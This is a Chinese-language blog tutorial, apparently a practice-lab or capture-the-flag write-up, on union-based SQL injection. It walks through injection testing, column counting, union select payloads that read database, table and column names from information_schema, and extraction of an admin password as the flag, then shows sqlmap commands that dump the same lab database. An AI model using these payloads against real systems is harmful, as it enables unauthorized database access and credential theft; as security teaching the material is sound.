sql注入-显错注入

sql注入-显错注入,第1张

sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行

第一步;判断是否存在sql注入一般url栏中?表示传参例如判断是否存在注入:and 1=2(重点是看我们的输入是否有被当做代码执行)也可以用sleep()函数来判断是否存在注入(5表示延时五秒),也可以用减法来进行判断,例如id=2-1等,用加法时注意+要使用%2B代替,因为+有特殊含义。

存在注入就可以进行下一步

第二步:判断字段数order by 1(正常) order by 2(正常)order by 3(异常)说明仅仅存在两个字段

 

如上图所示order by 2 显示正常,order by 3显示异常即可判断存在两个字段

第三步:判断显错位 ?id=1.1 union select 1,2 因为是两个字段数所以select 1,2 三个就是select 1,2,3以此类推

union select 是MySQL数据库中的联合查询语句,联和查询前面的sql语句要和后面sql语句字段数一致,这个也是我们前面判断字段数的原因,
联和查询时需要让前面查询语句查询不出数据,从而显示我们后面联和查询的结果,id=1.1,是给个错误的id使前面语句查不出数据,从而使页面显示联合查询后面的数据。

如图可以看出显错位是第二位,接下来就可以把2替换为查询语句 

第三步:查库名?id=1.1 union select 1,database()

 得到库名为maoshe

接下来就可以继续查表名 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 0,1 

information_schema.tables 是MySQL数据库中特有的表用来存数据库中所有表名,我们就可以利用这张表来查询我们需要的表名

limit 0,1 是用来限制输出的函数,0是输出第几位,从0开始0表示第一位,1是输出个数1表示一个,为什么要限制输出呢,主要是因为如果不限制输出,页面一般只显示默认的一个表,这样我们看不到其他表名,用limit 0,1 通过不断修改来依次查看查询出来的表名 limit 1,1 就是查看第二个,依次类推。

我们得到表名为admin,接下来查字段名union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1 因为所需字段名在第三位里面所以limit 2,1

 information_schema.columns同样是MySQL自带的存字段名的一张表

得到字段名为password最后一步查数据得到flag ,      union select 1,password from admin 

得到flag 为hellohack 

有些开发在传参是使用了   ''   ""  ('')   ("") ,我们在注入时则要先对其进行闭合再写查询语句,后面还有对其后面内容进行注释掉,常见使用 '   "    ')   ")这四种方式来闭合,查询语句后面加上 -- q注意--和q 之间有一个空格 q 可以随便换

 

例如:语句为?id=1.1 union select 1,2,database() -- q  这里是有三个字段的

这里使用了') 进行闭合查询 ,在使用sqlmap是最好手动加上闭合例如:http://xxxx.com/xx.php/?id=1')

以上是手工注入的方法,接下来演示通过工具sqlmap来跑出flag

1.在sqlmap所在目录打开cmd输入 python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3     -u 接网址 -risk 2 设定语句丰富度,-level 3 等级越高越完整

 2. python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 --dbs

--dbs 跑库名

3. python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 -D maoshe --table 

--tables 跑表名 -D 指定库

 4.python sqlmap.py -u http://rhiq8003.ia.aqlab.cn/?id=1 -risk 2 -level 3 -D maoshe -T admin --dump本应该接着使用--columns跑字段名,这里偷懒直接跑admin表里的数据 -T表示指定表,        --dump表示跑数据(实战慎用)

 

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/905304.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-15
下一篇 2022-05-15

发表评论

登录后才能评论

评论列表(0条)

保存